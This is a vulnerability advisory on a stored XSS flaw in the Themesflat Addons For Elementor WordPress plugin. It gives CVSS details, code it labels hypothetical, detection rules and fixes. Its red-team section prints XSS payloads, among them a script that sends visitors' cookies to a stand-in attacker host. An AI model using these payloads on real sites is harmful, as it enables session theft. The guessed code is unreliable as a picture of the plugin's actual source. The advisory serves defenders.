CVE-2024-12205

Executive Summary

CVE-2024-12205 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themesflat Addons For Elementor WordPress plugin, affecting all versions up to and including 2.2.4. The flaw resides in the TF E Slider Widget, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, potentially leading to session hijacking, defacement, or data theft.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin extends Elementor, a popular page builder, making it a high-value target for supply-chain attacks against WordPress sites.

Supply Chain & Package Security

• Ecosystem: WordPress Plugin Repository (themesflat-addons-for-elementor)
• Risk: The plugin is a third-party extension for Elementor, introducing an additional attack surface. No official patch or advisory has been released by the vendor (Themesflat) as of this report.
• Impact: Sites using this plugin with Contributor-level users or higher are at risk. The vulnerability can be chained with other WordPress privilege escalation flaws.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to inject persistent scripts without user interaction makes it dangerous for sites with multiple authors or contributors.

Deep Dive & Mechanics

The vulnerability exists in the TF E Slider Widget of the Themesflat Addons For Elementor plugin. The widget likely accepts user input for slider content (e.g., titles, descriptions, or image captions) without proper sanitization. When the widget renders the slider on a page, it fails to escape HTML entities, allowing an attacker to inject <script> tags or event handlers.

Attack Flow:

1. An authenticated user with Contributor-level access (or higher) creates or edits a page using the TF E Slider Widget.
2. The attacker inputs malicious JavaScript into a slider field (e.g., "><script>alert('XSS')</script>).
3. The plugin stores the input without sanitization.
4. When any user (including admins) visits the page, the script executes in their browser context.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user-supplied data.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (themesflat-addons-for-elementor/widgets/tf-e-slider.php):

<?php
// Vulnerable: Direct output without escaping
echo '<div class="tf-slider-title">' . $settings['slider_title'] . '</div>';
?>

Patched Code (Hypothetical):

<?php
// Patched: Escaping output
echo '<div class="tf-slider-title">' . esc_html( $settings['slider_title'] ) . '</div>';
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Themesflat Addons For Elementor <= 2.2.4 installed and active.
• An account with Contributor-level privileges or higher.

Exploit Steps:

1. Log in as a Contributor.
2. Navigate to Pages > Add New.
3. Edit with Elementor and add the TF E Slider widget.
4. In the slider title field, inject the following payload:

   <img src=x onerror=alert('XSS')>
   

5. Publish the page.
6. When an admin or visitor views the page, the script executes.

Advanced Payload (session hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual page edits by Contributor-level users.
• Look for pages containing <script> tags or event handlers in slider content.
• Use the YARA/Sigma rules below.

Hardening:

• Restrict Contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Apply the principle of least privilege: disable the plugin if not needed.

Indicators of Compromise (IOCs)

• File Path: /wp-content/plugins/themesflat-addons-for-elementor/widgets/tf-e-slider.php
• Plugin Version: <= 2.2.4
• Suspicious Input: Slider fields containing <script>, onerror, onload, or javascript:.
• HTTP Request: POST to /wp-admin/admin-ajax.php with action elementor_ajax and malicious slider data.
• Logs: WordPress audit logs showing page edits by Contributor users with unusual content.

Detection Engineering

YARA Rule

rule CVE_2024_12205_Themesflat_XSS {
    meta:
        description = "Detects malicious slider content in Themesflat Addons For Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12205"
    strings:
        $xss_payload = /<[^>]*\s(onerror|onload|onclick|onmouseover)\s*=[^>]*>/i
        $slider_widget = "tf-e-slider"
    condition:
        $slider_widget and $xss_payload
}

Sigma Rule

title: CVE-2024-12205 - Stored XSS via TF E Slider Widget
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the TF E Slider widget in Themesflat Addons For Elementor
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=elementor_ajax'
        http.body|contains: 'tf-e-slider'
        http.body|re: '<[^>]*\s(onerror|onload|onclick|onmouseover)\s*=[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in slider content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12205 - Stored XSS via TF E Slider Widget"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/<[^>]*\s(onerror|onload|onclick|onmouseover)\s*=[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict Contributor-level access to only trusted users.
3. Use a WAF to block XSS payloads (e.g., Cloudflare, ModSecurity).

Long-Term Fix:

• Monitor the Themesflat vendor for an official patch.
• Apply the hypothetical patch by escaping output in tf-e-slider.php using esc_html() or wp_kses().
• Consider replacing the plugin with a more secure alternative.

Workaround:

• Add a custom filter to sanitize slider input:

  add_filter( 'elementor/widget/render_content', function( $content, $widget ) {
      if ( 'tf-e-slider' === $widget->get_name() ) {
          $content = wp_kses_post( $content );
      }
      return $content;
  }, 10, 2 );
  

Valters IT
Securing Digital Frontiers